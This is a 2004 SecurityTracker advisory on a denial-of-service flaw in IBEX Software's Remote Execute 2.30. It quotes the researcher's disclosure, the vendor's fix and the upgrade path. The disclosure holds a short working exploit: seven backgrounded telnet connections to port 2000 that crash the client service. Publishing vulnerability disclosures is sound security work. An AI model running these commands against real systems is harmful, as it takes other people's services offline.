SecurityTracker.com
    Home    |    View Topics    |    Search    |    Contact Us    |   

SecurityTracker
Archives


 


Category:   Application (Generic)  >   Remote Execute Vendors:   IBEX Software
Remote Execute Can Be Crashed By Remote Users With Multiple Connections
SecurityTracker Alert ID:  1012445
SecurityTracker URL:  http://securitytracker.com/id/1012445
CVE Reference:   GENERIC-MAP-NOMATCH   (Links to External Site)
Date:  Dec 7 2004
Impact:   Denial of service via network
Fix Available:  Yes  Vendor Confirmed:  Yes  Exploit Included:  Yes  
Version(s): 2.3.0
Description:   A vulnerability was reported in Remote Execute. A remote user can cause denial of service conditions.

Paul Craig of Pimp Industries reported that a remote user can make seven connections to the target client service to cause the client service to crash.

Impact:   A remote user can cause the client service to crash.
Solution:   The vendor has released a fixed version (2.3.0.1), available at:

http://www.ibexsoftware.com/downloadRemoteExecute.asp

Vendor URL:  www.ibexsoftware.com/remote.asp (Links to External Site)
Cause:   State error
Underlying OS:  Windows (NT), Windows (2000), Windows (2003), Windows (XP)

Message History:   None.


 Source Message Contents

Subject:  DoS leading to crash of client in Remote Execute 2.30



		Pimp industries.
			"Its all about the Bling, B&^@# and Fame!"

	Dos in Client of Remote Execute v2.30 by IbexSoftware
      		 	(C) Paul Craig
      		 		Pimp Industries 2004

Background
-------------
Remote Execute 2.30 is vulnerable to an open connection attack, where
after seven connections are created to the client service it will crash
and refuse any further connections.

Exploit:
-------------
Really no need for PoC code here, the exploit is very simple.

telnet remotehost 2000 &
telnet remotehost 2000 &
telnet remotehost 2000 &
telnet remotehost 2000 &
telnet remotehost 2000 &
telnet remotehost 2000 &
telnet remotehost 2000 &
...
Remote execute client is down and port 2000 is now closed....


Company Status:
-------------
IbexSoftware were contacted last week, the problem was reproduced and
today a fix was released by the company.
Pimp industries would like to thank Ibexsoftware for their quick turn
around on this patch release and for their support on full disclosure
matters.

Suggestions/Work Around:
-------------
Install v2.3.01 of Remote Execute, you can download this version from
http://www.ibexsoftware.com/downloadRemoteExecute.asp

Company status
---------------
Pimp Industries is a privately owned security research company. If you
would like to contact Pimp Industries to discuss any nature of business,
please email us at headpimp@pimp-industries.com.


Big Hellos to
-------------
The boys at security-assessment.com, Thor, Viper and sozni.


Paul Craig
Head Pimp , Security Researcher
Pimp Industries
"Move fast, think faster"



 
 


Go to the Top of This SecurityTracker Archive Page





Home   |    View Topics   |    Search   |    Contact Us

This web site uses cookies for web analytics. Learn More

Copyright 2021, SecurityGlobal.net LLC